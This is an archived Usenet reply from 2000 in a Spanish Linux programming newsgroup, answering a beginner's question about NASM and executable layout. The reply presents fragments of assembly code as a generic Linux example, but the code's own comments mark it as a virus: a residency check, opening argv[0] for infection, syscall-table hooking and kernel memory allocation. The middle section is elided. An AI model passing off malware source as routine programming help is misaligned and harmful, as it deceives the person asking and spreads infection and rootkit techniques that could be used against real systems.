🚀 go-pugleaf

RetroBBS NetNews Server

Inspired by RockSolid Light RIP Retro Guy

Article View: es.comp.os.linux.programacion
Article #14065

RE: AYUDA para LINUX

#14065
From: Lokutus
Date: Sun, 17 Dec 2000 16:12
96 lines
3608 bytes
"JOAQUIN" <ea4eba@jazzfree.com> escribi� en el mensaje news:QN4%5.1535$T9.18743378@news.jazztel.es...
> tambi�n el paquete SURE LINUX 7.0. He visto que este SOFTWARE lleva el NASM
> que es el compilador para LINUX en ENSAMBLADOR. Pero me surge una duda y son
> las cabeceras y el ORG (desplazamiento y zona de carga del los programas
> ejecutables). El DOS, por ejemplo usa la directiva ORG 0100H para ubicar el


    El ORG 0100H es por lo del PSP supongo, en Linux los ficheros tienen otra estructura diferente a los .COM del DOS. Te incluyo el
principio y el final de un programa para Linux en ensamblador para que te hagas una idea de por donde van los tiros.

     El formato es diferente, por que usa el formato AT&T, mientras que en DOS se usa el de Intel.


.text
.global vircode
vircode:                                  # start of the virus
 pushl $0                          # entry point
 pushl %ebp                        # setup stack frame
 movl %esp,%ebp
 pusha                             # save all regs
 movl $125,%eax                    # make cs writable
 movl $0x8000000,%ebx
 movl $0x4000,%ecx
 movl $7,%edx
 int $0x80
 call recalc                       # dynamic relocation
recalc:
 pop %edx
 subl $recalc,%edx
 leal vircode(%edx),%eax           # store entrypoint
 movl %eax,4(%ebp)

 movl $11,%eax                     # are we already resident ?
 movl $0x666,%ebx
 int $0x80
 cmp $0x667,%ebx
 jnz goresident
 jmp ret2host
goresident:
 movl 12(%ebp),%ebx                # open argv[0]
 xorl %ecx,%ecx
 movl $5,%eax
 int $0x80
 or %eax,%eax
 js ohfuck
 movl %eax,%ebx


   ..............................................................................
   ..............................................................................
   ..............................................................................
   ..............................................................................
   ..............................................................................



syscalltable:
.long 0

current:
.long 0

.global hookspace
hookspace:
 push %ebp
 pushl %ebx
 pushl %ecx
 pushl %edx
 movl %esp,%ebp

 pushl $3
.byte   0x68
virendvircodefilesize:
.long   0
.byte   0xb8               # movl $xxx,%eax
kmalloc:
.long   0
 call %eax

 movl %ebp,%esp
 popl %edx
 popl %ecx
 popl %ebx
 popl %ebp
 ret

.global endhookspace
endhookspace:
.global virend
virend:

........................................................................................


Lokutus, asimilando la red.
Technical Details
Message-ID: <3a3ce5d3@news>
Path: arc1-ca.pugleaf.net!supernews.google.com!sn-xit-02!supernews.com!216.227.56.88.MISMATCH!telocity-west!TELOCITY!news-spur1.maxwell.syr.edu!news.maxwell.syr.edu!npeer.kpnqwest.net!news!212.73.59.56
References: <QN4%5.1535$T9.18743378@news.jazztel.es>

Show Full Headers
Complete Article Headers
X-Google-Language: SPANISH,ASCII
X-Google-Thread: f86c8,62bb5e813a79c417
X-Google-Attributes: gidf86c8,public
X-Google-ArrivalTime: 2000-12-17 08:12:05 PST
Reply-To: "Lokutus" <Lokutus@galactica.com>
From: "Lokutus" <Lokutus@galactica.com>
Newsgroups: es.comp.os.linux.programacion
References: <QN4%5.1535$T9.18743378@news.jazztel.es>
Subject: RE: AYUDA para LINUX
Date: Sun, 17 Dec 2000 17:12:31 +0100
Lines: 100
Organization: email=6C6F6B757475733230303040626967666F6F742E636F6D
X-Priority: 3
X-MSMail-Priority: Normal
X-Newsreader: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
NNTP-Posting-Host: 212.73.59.56
X-Original-NNTP-Posting-Host: 212.73.59.56
Message-ID: <3a3ce5d3@news>
X-Trace: 17 Dec 2000 17:12:03 +0100, 212.73.59.56
Path: arc1-ca.pugleaf.net!supernews.google.com!sn-xit-02!supernews.com!216.227.56.88.MISMATCH!telocity-west!TELOCITY!news-spur1.maxwell.syr.edu!news.maxwell.syr.edu!npeer.kpnqwest.net!news!212.73.59.56